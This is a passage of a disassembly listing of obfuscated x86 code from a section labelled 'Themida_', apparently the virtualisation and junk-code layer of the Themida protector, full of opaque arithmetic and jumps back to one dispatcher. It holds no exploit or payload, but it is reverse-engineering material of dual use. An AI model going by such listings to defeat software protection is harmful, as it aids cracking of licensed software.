; ---------------------------------------------------------------------------


loc_56666E:				; CODE XREF: Themida_:00570A2Dj
		add	eax, ecx
		jmp	loc_56C4BC
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_560E49
; ---------------------------------------------------------------------------


loc_56667E:				; CODE XREF: Themida_:0056F50Bj
		xchg	esi, edx
		or	edx, 0A300A23h
		neg	edx
		push	edi
		mov	edi, 86E588Ch
		xor	edx, edi
		pop	edi
		sub	ebp, edx
		pop	edx
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		push	4
		pop	eax
		jmp	loc_5720D3
; ---------------------------------------------------------------------------


loc_5666A8:				; CODE XREF: Themida_:00560FE1j
		add	eax, 4
		push	esi
		sub	esp, 4
		jmp	loc_571B90
; ---------------------------------------------------------------------------


loc_5666B6:				; CODE XREF: Themida_:005636FCj
		add	esi, eax
		jmp	loc_569B8C
; ---------------------------------------------------------------------------


loc_5666BD:				; CODE XREF: Themida_:00564BADj
		mov	[esp], ebx
		push	684Ah
		mov	[esp], eax
		mov	al, 85h
		jmp	loc_5605B4
; ---------------------------------------------------------------------------


loc_5666CF:				; CODE XREF: Themida_:00567939j
		push	eax
		mov	eax, esp
		jmp	loc_567B04
; ---------------------------------------------------------------------------


loc_5666D7:				; CODE XREF: Themida_:0056C364j
		mov	[esp], edi
		mov	edi, 7829159Dh
		jmp	loc_56B64C
; ---------------------------------------------------------------------------


loc_5666E4:				; CODE XREF: Themida_:00560657j
		mov	esi, esp
		add	esi, 4
		jmp	loc_564728
; ---------------------------------------------------------------------------


loc_5666F1:				; CODE XREF: Themida_:00574775j
		pop	ecx
		push	ebx
		mov	ebx, 63890450h
		add	ebx, 4B13E5Bh
		shr	ebx, 8
		push	eax
		jmp	loc_57087E
; ---------------------------------------------------------------------------


loc_566707:				; CODE XREF: Themida_:00569D8Dj
		dec	ebx
		jmp	loc_5641DC
; ---------------------------------------------------------------------------


loc_56670D:				; CODE XREF: Themida_:00568E06j
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_566712:				; CODE XREF: Themida_:00560EC7j
		mov	ebp, 71063B4Ch
		sub	ebp, 3DE11D8Ch
		sub	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5707CA
; ---------------------------------------------------------------------------


loc_56672A:				; CODE XREF: Themida_:0056031Fj
		shr	esi, 3
		not	esi
		neg	esi
		jmp	loc_562D1D
; ---------------------------------------------------------------------------


loc_566736:				; CODE XREF: Themida_:0056E0B2j
		mov	eax, [esp]
		add	esp, 4
		not	edx
		push	ecx
		mov	ecx, 3658225Ah
		shl	ecx, 8
		shl	ecx, 6
		add	ecx, 64E049F0h
		dec	ecx
		sub	ecx, 0C3FB15C0h
		sub	edx, ecx
		pop	ecx
		add	esi, edx
		pop	edx
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_5709A3
; ---------------------------------------------------------------------------


loc_56676E:				; CODE XREF: Themida_:005704A1j
		mov	eax, 7B8163A7h
		shl	eax, 7
		jmp	loc_5628D8
; ---------------------------------------------------------------------------


loc_56677B:				; CODE XREF: Themida_:005737F8j
		push	edx
		mov	edx, 68CD268Ah
		jmp	loc_56CFDB
; ---------------------------------------------------------------------------


loc_566786:				; CODE XREF: Themida_:0056898Fj
		pop	ebp
		xor	edi, 0EFFCA11Ah
		jmp	loc_5685E6
; ---------------------------------------------------------------------------


loc_566792:				; CODE XREF: Themida_:0055F7F6j
		mov	edi, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5602DB
; ---------------------------------------------------------------------------


loc_56679D:				; CODE XREF: Themida_:00567B15j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		ror	word ptr [esp],	cl
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_5667C1:				; CODE XREF: Themida_:00569F1Fj
		xchg	ecx, [esp]
		mov	esp, [esp]
		add	ch, 3Ch
		add	ch, al
		sub	ch, 3Ch
		jmp	loc_56C268
; ---------------------------------------------------------------------------


loc_5667D4:				; CODE XREF: Themida_:0056CAA5j
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_564C10
; ---------------------------------------------------------------------------


loc_5667E2:				; CODE XREF: Themida_:005635D6j
		shl	ecx, 1
		xor	ecx, 0A1615937h
		sub	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		mov	edx, esi
		mov	ebx, edx
		jmp	loc_563C01
; ---------------------------------------------------------------------------


loc_5667FC:				; CODE XREF: Themida_:0056E89Ej
		mov	edx, 2
		add	edi, 5EB46271h
		add	edi, edx
		sub	edi, 5EB46271h
		mov	edx, [esp]
		add	esp, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		add	bl, 0E3h
		push	dx
		mov	dl, 2Ah
		jmp	loc_56249D
; ---------------------------------------------------------------------------


loc_56682A:				; CODE XREF: Themida_:0057021Cj
		add	ecx, 30F05352h
		xor	esi, ecx
		pop	ecx
		xor	eax, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	ebx, 7C2829B3h
		add	ebx, eax
		push	ecx
		jmp	loc_56BE91
; ---------------------------------------------------------------------------


loc_56684D:				; CODE XREF: Themida_:00560F68j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_562E51
; ---------------------------------------------------------------------------


loc_566861:				; CODE XREF: Themida_:0055F6A7j
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp+4]
		jmp	loc_56DF6E
; ---------------------------------------------------------------------------


loc_56686E:				; CODE XREF: Themida_:0056BD59j
		sub	ebx, 1CFD231Dh
		add	ebx, edx
		add	ebx, 1CFD231Dh
		push	eax
		jmp	loc_5694F4
; ---------------------------------------------------------------------------


loc_566882:				; CODE XREF: Themida_:00572B7Aj
		sub	edi, 6A0733EBh
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		jmp	loc_5693AC
; ---------------------------------------------------------------------------


loc_566897:				; CODE XREF: Themida_:0057014Cj
		mov	[esp], eax
		push	ecx
		mov	ecx, 33074E2h
		xor	ecx, 2B9417B7h
		jmp	loc_56B734
; ---------------------------------------------------------------------------


loc_5668AB:				; CODE XREF: Themida_:005664A5j
		or	eax, 1F0C23F0h
		dec	eax
		and	eax, 7CD009ABh
		jmp	loc_568927
; ---------------------------------------------------------------------------


loc_5668BB:				; CODE XREF: Themida_:00573EF0j
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_5668C0:				; CODE XREF: Themida_:0056892Cj
		sub	eax, 0ECFE00E4h
		jmp	loc_57330B
; ---------------------------------------------------------------------------


loc_5668CA:				; CODE XREF: Themida_:0056BA1Bj
		inc	esi
		jmp	loc_569518
; ---------------------------------------------------------------------------


loc_5668D0:				; CODE XREF: Themida_:005696C7j
		add	ebp, 0E45EFDECh
		push	ebx
		mov	ebx, ebp
		mov	edi, ebx
		pop	ebx
		pop	ebp
		sub	esi, edi
		mov	edi, [esp]
		add	esp, 4
		xor	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_56B629
; ---------------------------------------------------------------------------


loc_5668F5:				; CODE XREF: Themida_:005721C6j
		xor	esi, eax
		pop	eax
		push	ebx
		jmp	loc_56F682
; ---------------------------------------------------------------------------


loc_5668FE:				; CODE XREF: Themida_:0056307Dj
		mov	cl, al
		push	eax
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		mov	bh, cl
		mov	dl, bh
		pop	ebx
		push	ecx
		mov	cl, dl
		mov	ah, cl
		pop	ecx
		pop	edx
		push	4D96h
		jmp	loc_56B324
; ---------------------------------------------------------------------------


loc_56691E:				; CODE XREF: Themida_:0056C6AEj
		add	esp, 4
		inc	eax
		sub	eax, 0FFFFFFFFh
		add	eax, 0AC17087Eh
		jmp	loc_5688C0
; ---------------------------------------------------------------------------


loc_566934:				; CODE XREF: Themida_:00570448j
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		add	[esp], eax
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------
		push	3FDFh
		mov	[esp], edx
		jmp	loc_564140
; ---------------------------------------------------------------------------


loc_566951:				; CODE XREF: Themida_:0056D8B7j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xor	ebp, 48E50180h
		neg	ebp
		shl	ebp, 8
		push	471Fh
		mov	[esp], edi
		jmp	loc_571C6F
; ---------------------------------------------------------------------------


loc_566979:				; CODE XREF: Themida_:0056567Fj
		bt	[esp], ax
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_566984:				; CODE XREF: Themida_:0056E7CBj
		push	esi
		sub	dword ptr [esp], 793E0E99h
		pop	ecx
		add	ecx, 793E0E99h
		pop	esi
		sub	ecx, 44B470EDh
		add	ecx, 39FD2645h
		xor	ecx, 44274607h
		sub	ecx, 10385A42h
		sub	ebx, ecx
		pop	ecx
		add	esi, ebx
		pop	ebx
		push	edx
		mov	edx, 4
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5697AF
; ---------------------------------------------------------------------------


loc_5669C5:				; CODE XREF: Themida_:0056215Fj
		pop	esp
		mov	[esp], esi
		push	3888h
		jmp	loc_56842B
; ---------------------------------------------------------------------------


loc_5669D3:				; CODE XREF: Themida_:00565FC9j
		add	edx, ebx
		jmp	loc_56E736
; ---------------------------------------------------------------------------


loc_5669DA:				; CODE XREF: Themida_:0056508Ej
		add	bl, dl
		pop	edx
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	eax
		mov	eax, 261F3983h
		add	dword ptr [esp+4], 6C1D1830h
		add	[esp+4], eax
		jmp	loc_56290D
; ---------------------------------------------------------------------------


loc_5669FA:				; CODE XREF: Themida_:0056CCD1j
		push	ebx
		jmp	loc_56E119
; ---------------------------------------------------------------------------


loc_566A00:				; CODE XREF: Themida_:0056CAE8j
		mov	eax, 2439765Ah
		or	ebx, eax
		pop	eax
		xor	ebx, 24F202BEh
		jmp	loc_56F68C
; ---------------------------------------------------------------------------


loc_566A13:				; CODE XREF: Themida_:00565BD1j
		mov	ebx, [esp]
		add	esp, 4
		shr	edx, 5
		inc	edx
		inc	edx
		and	edx, 50937A1h
		shr	edx, 3
		jmp	loc_56A93F
; ---------------------------------------------------------------------------


loc_566A2F:				; CODE XREF: Themida_:00563284j
		add	esp, 4
		add	edx, 4172623Ch
		sub	edx, 25186D45h
		add	edx, eax
		add	edx, 25186D45h
		sub	edx, 4172623Ch
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		sar	dword ptr [esp], cl
		pushf
		jmp	loc_56DC6E
; ---------------------------------------------------------------------------


loc_566A6F:				; CODE XREF: Themida_:0056BBB0j
		not	ebp
		xor	ebp, 16AA052Fh
		push	edx
		push	ebp
		mov	ebp, 70897823h
		mov	edx, ebp
		pop	ebp
		shl	edx, 2
		xor	edx, 2A441F57h
		jmp	loc_5631C8
; ---------------------------------------------------------------------------


loc_566A8F:				; CODE XREF: Themida_:00565401j
		pop	eax
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	6268h
		mov	[esp], eax
		push	ebx
		mov	bl, dl
		mov	al, bl
		pop	ebx
		mov	bh, al
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[edi+eax*4], bh
		pop	ebx
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_566AD1:				; CODE XREF: Themida_:0056B77Fj
		push	edx
		mov	edx, esp
		push	esi
		jmp	loc_571AE7
; ---------------------------------------------------------------------------


loc_566ADA:				; CODE XREF: Themida_:0056D8A7j
		neg	cl
		xor	cl, 56h
		push	edx
		jmp	loc_572DEB
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	dword ptr [esp], cl
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_566AF4:				; CODE XREF: Themida_:00568BFBj
		and	edx, ebp
		mov	ebp, [esp]
		push	eax
		jmp	loc_56BE18
; ---------------------------------------------------------------------------


loc_566AFF:				; CODE XREF: Themida_:0056A360j
		add	esp, 4
		jmp	loc_56084B
; ---------------------------------------------------------------------------


loc_566B0A:				; CODE XREF: Themida_:0056086Fj
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_566B0F:				; CODE XREF: Themida_:0056FFA8j
		not	ecx
		xchg	ecx, ebx
		xchg	ebx, [esp]
		pop	eax
		xor	ecx, eax
		xor	eax, ecx
		xor	ecx, eax
		xor	ebx, ecx
		xor	ecx, ebx
		xor	ebx, ecx
		xchg	eax, ebx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_56E30A
; ---------------------------------------------------------------------------


loc_566B2F:				; CODE XREF: Themida_:005744C6j
		mov	ecx, eax
		jmp	loc_5729E5
; ---------------------------------------------------------------------------


loc_566B36:				; CODE XREF: Themida_:0056D9B7j
		push	ebx
		mov	bl, 0BBh
		push	eax
		mov	ah, bl
		mov	cl, ah
		pop	eax
		pop	ebx
		jmp	loc_5601D1
; ---------------------------------------------------------------------------


loc_566B45:				; CODE XREF: Themida_:0056971Ej
		pop	ecx
		push	ebx
		mov	ebx, esp
		jmp	loc_566ED3
; ---------------------------------------------------------------------------


loc_566B4E:				; CODE XREF: Themida_:00561279j
		sub	dword ptr [esp], 2F4168A6h
		push	eax
		push	esi
		push	70C02D1Ah
		pop	esi
		jmp	loc_565A80
; ---------------------------------------------------------------------------


loc_566B62:				; CODE XREF: Themida_:00572E33j
		push	edi
		jmp	loc_56339C
; ---------------------------------------------------------------------------


loc_566B68:				; CODE XREF: Themida_:00561962j
		mov	esi, 18985024h
		add	esi, 60EEEF5Ah
		add	ebp, esi
		pop	esi
		mov	edi, [esp]
		add	esp, 4
		add	ebp, 2
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		ror	dword ptr [esp], cl
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_566B97:				; CODE XREF: Themida_:00574021j
		push	4
		jmp	loc_573E1F
; ---------------------------------------------------------------------------


loc_566BA1:				; CODE XREF: Themida_:0056A820j
		shl	ebx, 1
		jmp	loc_55F575
; ---------------------------------------------------------------------------


loc_566BA8:				; CODE XREF: Themida_:0055FE99j
		push	edx
		mov	edx, 0E5E1148h
		or	edx, 6897CECh
		shr	edx, 2
		not	edx
		inc	edx
		sub	edx, 0FFFFFFFFh
		sub	edx, 0F1930665h
		sub	ecx, 10666B19h
		add	ecx, edx
		add	ecx, 10666B19h
		pop	edx
		jmp	loc_563225
; ---------------------------------------------------------------------------


loc_566BDA:				; CODE XREF: Themida_:00565BB7j
		add	edi, 3F4248BDh
		add	edi, ecx
		sub	edi, 3F4248BDh
		jmp	loc_5746A9
; ---------------------------------------------------------------------------


loc_566BED:				; CODE XREF: Themida_:00571BD8j
		pop	eax
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], dx
		jmp	loc_564720
; ---------------------------------------------------------------------------


loc_566BFD:				; CODE XREF: Themida_:0056734Dj
		add	esp, 4
		sub	esi, ebx
		pop	ebx
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_57181A
; ---------------------------------------------------------------------------


loc_566C11:				; CODE XREF: Themida_:005698FAj
		pop	ebx
		sub	eax, 1C234052h
		add	eax, ebx
		add	eax, 1C234052h
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_566488
; ---------------------------------------------------------------------------


loc_566C2C:				; CODE XREF: Themida_:005723CAj
		add	al, 2Fh
		push	4466h
		jmp	loc_5745A7
; ---------------------------------------------------------------------------


loc_566C38:				; CODE XREF: Themida_:0056AEBCj
		push	ecx
		pop	esi
		jmp	loc_562BDA
; ---------------------------------------------------------------------------


loc_566C3F:				; CODE XREF: Themida_:0055F878j
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5716BD
; ---------------------------------------------------------------------------


loc_566C54:				; CODE XREF: Themida_:00572A21j
		mov	ebx, 0B62B8F35h
		jmp	loc_561EAB
; ---------------------------------------------------------------------------


loc_566C5E:				; CODE XREF: Themida_:00571AC0j
		xor	ebx, eax
		push	6729h
		mov	[esp], ebx
		jmp	loc_56E196
; ---------------------------------------------------------------------------


loc_566C6D:				; CODE XREF: Themida_:00569AA4j
		xor	esi, edx
		pop	edx
		sub	esi, 3D9B73ECh
		jmp	loc_56B8EE
; ---------------------------------------------------------------------------


loc_566C7B:				; CODE XREF: Themida_:00562FD3j
		mov	[esp], ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		jmp	loc_563AC1
; ---------------------------------------------------------------------------


loc_566C8B:				; CODE XREF: Themida_:005602B5j
		pop	ebx
		add	ecx, 20FF2E14h
		and	ecx, 6B7017A9h
		dec	ecx
		or	ecx, 12BB131Bh
		sub	ecx, 0B76B06C3h
		jmp	loc_5713E3
; ---------------------------------------------------------------------------


loc_566CAA:				; CODE XREF: Themida_:00566398j
		add	ecx, 4
		push	ebx
		push	ebp
		mov	ebp, 2B5573D1h
		jmp	loc_5685F4
; ---------------------------------------------------------------------------


loc_566CBC:				; CODE XREF: Themida_:0056E160j
		sub	bl, 31h
		add	bl, al
		push	small 25C1h
		mov	[esp], dx
		jmp	loc_5612A7
; ---------------------------------------------------------------------------


loc_566CCE:				; CODE XREF: Themida_:0056034Ej
		pop	ecx
		push	eax
		jmp	loc_56C0BF
; ---------------------------------------------------------------------------


loc_566CD5:				; CODE XREF: Themida_:0056483Aj
		add	eax, 34F11B44h
		jmp	loc_56EDE8
; ---------------------------------------------------------------------------


loc_566CDF:				; CODE XREF: Themida_:005743EFj
		push	769Eh
		jmp	loc_56A354
; ---------------------------------------------------------------------------


loc_566CE9:				; CODE XREF: Themida_:005653A1j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_563998
; ---------------------------------------------------------------------------


loc_566CFA:				; CODE XREF: Themida_:0057128Cj
		pop	edi
		sub	eax, 0DA553E3Bh
		add	esi, eax
		pop	eax
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	ebx, eax
		add	ebx, 0D1C0AAEh
		push	0C35h
		mov	[esp], ecx
		push	edi
		mov	edi, 5C335D1Bh
		push	edi
		pop	ecx
		pop	edi
		sub	ebx, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_565887
; ---------------------------------------------------------------------------


loc_566D2E:				; CODE XREF: Themida_:0056BDD9j
		pop	edx
		add	edx, 43FA39BDh
		pop	ebx
		mov	ebp, edx
		jmp	loc_573125
; ---------------------------------------------------------------------------


loc_566D3D:				; CODE XREF: Themida_:0056F54Fj
		shr	edx, 1
		push	ebp
		mov	ebp, 106FE1AFh
		xor	edx, ebp
		pop	ebp
		sub	edi, edx
		jmp	loc_5710E8
; ---------------------------------------------------------------------------


loc_566D4F:				; CODE XREF: Themida_:005718F7j
		mov	[esp], ebp
		jmp	loc_5645E3
; ---------------------------------------------------------------------------


loc_566D57:				; CODE XREF: Themida_:0055F5B5j
		mov	eax, 41C722ECh
		xchg	eax, ebx
		dec	ebx
		xchg	eax, ebx
		add	eax, 3F8B4D88h
		jmp	loc_563989
; ---------------------------------------------------------------------------


loc_566D69:				; CODE XREF: Themida_:005679F6j
		add	esp, 4
		push	edi
		jmp	loc_55FE67
; ---------------------------------------------------------------------------


loc_566D75:				; CODE XREF: Themida_:0056C1E6j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	6E36h
		jmp	loc_564634
; ---------------------------------------------------------------------------


loc_566D8E:				; CODE XREF: Themida_:00560318j
		push	ebx
		mov	bl, 0E0h
		jmp	loc_568010
; ---------------------------------------------------------------------------


loc_566D96:				; CODE XREF: Themida_:0056EBE9j
		mov	edi, [esp]
		push	edi
		push	esp
		jmp	loc_56B8AC
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebx
		sub	esp, 4
		push	2102h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_56B63B
; ---------------------------------------------------------------------------


loc_566DE0:				; CODE XREF: Themida_:00572034j
		sub	esi, ecx
		pop	ecx
		jmp	loc_56F180
; ---------------------------------------------------------------------------


loc_566DE8:				; CODE XREF: Themida_:00568805j
		push	esp
		pop	eax
		jmp	loc_5631DA
; ---------------------------------------------------------------------------


loc_566DEF:				; CODE XREF: Themida_:00568E53j
		mov	ecx, 467D31E9h
		xor	eax, ecx
		pop	ecx
		push	50BAh
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esp, 4
		jmp	loc_572B7F
; ---------------------------------------------------------------------------


loc_566E12:				; CODE XREF: Themida_:0056AFD5j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	eax, 6BEC2B86h
		and	eax, 17D63886h
		sub	esp, 4
		jmp	loc_56BB99
; ---------------------------------------------------------------------------


loc_566E2E:				; CODE XREF: Themida_:0057344Fj
		mov	eax, edi
		mov	esi, eax
		pop	eax
		pop	edi
		pop	ecx
		push	ebx
		mov	ebx, 6E76406Ah
		sub	[esp+8], ebx
		pop	ebx
		push	edi
		push	esi
		mov	esi, 4190656Dh
		neg	esi
		dec	esi
		add	esi, 97F97874h
		push	esi
		xor	dword ptr [esp], 725753A5h
		pop	edi
		xor	edi, 725753A5h
		pop	esi
		sub	[esp+8], edi
		pop	edi
		add	[esp+4], esi
		add	dword ptr [esp+4], 56691306h
		push	edi
		push	esi
		mov	esi, 388456BBh
		sub	esi, 3E982939h
		shl	esi, 1
		not	esi
		neg	esi
		not	esi
		jmp	loc_56CBF4
; ---------------------------------------------------------------------------


loc_566E8B:				; CODE XREF: Themida_:00573B6Fj
		add	ebx, 0C331F2Bh
		pop	eax
		push	edx
		mov	edx, 4
		add	ebx, edx
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_56F58F
; ---------------------------------------------------------------------------


loc_566EA5:				; CODE XREF: Themida_:00567881j
		push	edi
		mov	edi, 17B20FE5h
		mov	esi, edi
		pop	edi
		push	ebp
		mov	ebp, 34791220h
		jmp	loc_570938
; ---------------------------------------------------------------------------


loc_566EB9:				; CODE XREF: Themida_:00562063j
		inc	edi
		shl	edi, 1
		push	ebp
		mov	ebp, 302B4795h
		xor	ebp, 46A82539h
		add	edi, 7A24405h
		jmp	loc_565A9C
; ---------------------------------------------------------------------------


loc_566ED3:				; CODE XREF: Themida_:00566B49j
		sub	esp, 4
		mov	[esp], ecx
		push	0DA84B47h
		pop	ecx
		push	0
		sub	[esp], ecx
		pop	ecx
		sub	ecx, 691A2FACh
		push	ecx
		dec	dword ptr [esp]
		jmp	loc_55FA81
; ---------------------------------------------------------------------------


loc_566EFA:				; CODE XREF: Themida_:00563077j
		mov	[esp], ebp
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		jmp	loc_56055B
; ---------------------------------------------------------------------------


loc_566F0C:				; CODE XREF: Themida_:0056EF9Fj
		mov	esp, [esp]
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	edx
		jmp	loc_5735AA
; ---------------------------------------------------------------------------


loc_566F20:				; CODE XREF: Themida_:005631D5j
		add	edi, 5ABA4470h
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_574540
; ---------------------------------------------------------------------------


loc_566F40:				; CODE XREF: Themida_:00562326j
		pop	esp
		sub	edx, 28E658FBh
		add	edx, esi
		add	edx, 28E658FBh
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_566F5A:				; CODE XREF: Themida_:00566FFBj
		sub	ebp, 4A71D7FCh
		add	edi, 669634EDh
		add	edi, ebp
		jmp	loc_55F5ED
; ---------------------------------------------------------------------------


loc_566F6D:				; CODE XREF: Themida_:00567FD9j
		pop	dword ptr [edi+24h]


loc_566F70:				; CODE XREF: Themida_:00571D0Ej
		push	67A7h
		jmp	loc_570ED2
; ---------------------------------------------------------------------------


loc_566F7A:				; CODE XREF: Themida_:00562374j
		add	esp, 4
		xchg	esi, [esp]
		jmp	loc_567CD1
; ---------------------------------------------------------------------------


loc_566F88:				; CODE XREF: Themida_:005634ABj
		add	esp, 4
		sub	ebx, edi
		jmp	loc_5698ED
; ---------------------------------------------------------------------------


loc_566F92:				; CODE XREF: Themida_:00567251j
		mov	eax, [esp]
		add	esp, 4
		xor	esi, 44944B61h
		sub	ebx, 19A362Fh
		add	ebx, esi
		add	ebx, 19A362Fh
		jmp	loc_561314
; ---------------------------------------------------------------------------


loc_566FB4:				; CODE XREF: Themida_:005724CEj
		mov	eax, esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_56C5BD
; ---------------------------------------------------------------------------
		pop	dword ptr fs:[edx]
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_566FD2:				; CODE XREF: Themida_:00567E1Ej
		mov	esp, [esp]
		cmp	cx, ax
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_566FDE:				; CODE XREF: Themida_:00560088j
		pop	ebp
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_571160
; ---------------------------------------------------------------------------


loc_566FED:				; CODE XREF: Themida_:0055FF77j
		pop	small word ptr [eax]
		jmp	loc_5722DA
; ---------------------------------------------------------------------------


loc_566FF5:				; CODE XREF: Themida_:005645FFj
		add	ebp, 3DB62225h
		jmp	loc_566F5A
; ---------------------------------------------------------------------------


loc_567000:				; CODE XREF: Themida_:0057058Fj
		add	ebp, 74DE4722h
		sub	ebp, 0FFFFFFFFh
		push	ecx
		jmp	loc_561934
; ---------------------------------------------------------------------------


loc_56700F:				; CODE XREF: Themida_:005693B7j
		mov	ecx, 390E21A6h
		mov	ebp, 0F2FD36A6h
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		and	ebp, 7E0B0E81h
		jmp	loc_565EAF
; ---------------------------------------------------------------------------


loc_56702C:				; CODE XREF: Themida_:00560C44j
		pop	ebx
		jmp	loc_562980
; ---------------------------------------------------------------------------


loc_567032:				; CODE XREF: Themida_:00568FAFj
		mov	ebx, esp
		add	ebx, 4
		push	eax
		mov	eax, 79EE673Ch
		add	eax, 460A2A28h
		add	eax, 0CC7C4Eh
		xor	eax, 0C0C50DB6h
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp]
		pop	esp
		add	ebp, 2
		xor	ebp, [esp]
		jmp	loc_56E72B
; ---------------------------------------------------------------------------


loc_567061:				; CODE XREF: Themida_:0056829Aj
		mov	ecx, 4
		sub	edi, ecx
		pop	ecx
		jmp	loc_564A43
; ---------------------------------------------------------------------------


loc_56706E:				; CODE XREF: Themida_:0056932Bj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	eax
		push	edi
		mov	edi, 4
		mov	eax, edi
		pop	edi
		sub	ebx, 0C331F2Bh
		sub	ebx, 64E440A8h
		add	ebx, eax
		jmp	loc_573B69
; ---------------------------------------------------------------------------


loc_567092:				; CODE XREF: Themida_:0056E7E0j
		add	esi, 2F62A59Ah
		jmp	loc_574457
; ---------------------------------------------------------------------------


loc_56709D:				; CODE XREF: Themida_:00567CC6j
		pop	esi
		jmp	loc_568627
; ---------------------------------------------------------------------------


loc_5670A3:				; CODE XREF: Themida_:005640C4j
		sub	edi, 3F7DFBDBh
		sub	ebp, 7B652464h
		add	ebp, edi
		add	ebp, 7B652464h
		pop	edi
		jmp	loc_55F9FD
; ---------------------------------------------------------------------------


loc_5670BD:				; CODE XREF: Themida_:005633EEj
		push	2041h
		jmp	loc_56B331
; ---------------------------------------------------------------------------


loc_5670C7:				; CODE XREF: Themida_:00573FF6j
		sub	eax, ecx
		pop	ecx
		not	eax
		xor	eax, 5BC51705h
		and	eax, 3CF76A0Bh
		jmp	loc_568F16
; ---------------------------------------------------------------------------


loc_5670DB:				; CODE XREF: Themida_:00568D5Ej
		mov	ch, 0E6h
		or	ch, 4Ch
		add	ch, 0FFh
		shr	ch, 8
		push	dx
		mov	dl, 0F7h
		add	ch, dl
		jmp	loc_573836
; ---------------------------------------------------------------------------


loc_5670F1:				; CODE XREF: Themida_:0056EE5Bj
		push	edx
		mov	edx, 0F514D4Ch
		dec	edx
		jmp	loc_55FAB8
; ---------------------------------------------------------------------------


loc_5670FD:				; CODE XREF: Themida_:005709F5j
		add	ecx, 4
		jmp	loc_56246B
; ---------------------------------------------------------------------------


loc_567105:				; CODE XREF: Themida_:005638C6j
		mov	ebp, 5F641DECh
		mov	edx, ebp
		pop	ebp
		or	ebp, edx
		jmp	loc_570344
; ---------------------------------------------------------------------------


loc_567114:				; CODE XREF: Themida_:005648FAj
		add	ah, cl
		jmp	loc_5715FB
; ---------------------------------------------------------------------------


loc_56711B:				; CODE XREF: Themida_:00564814j
		add	ebp, 0E64CB56Fh
		add	ecx, ebp
		mov	ebp, [esp]
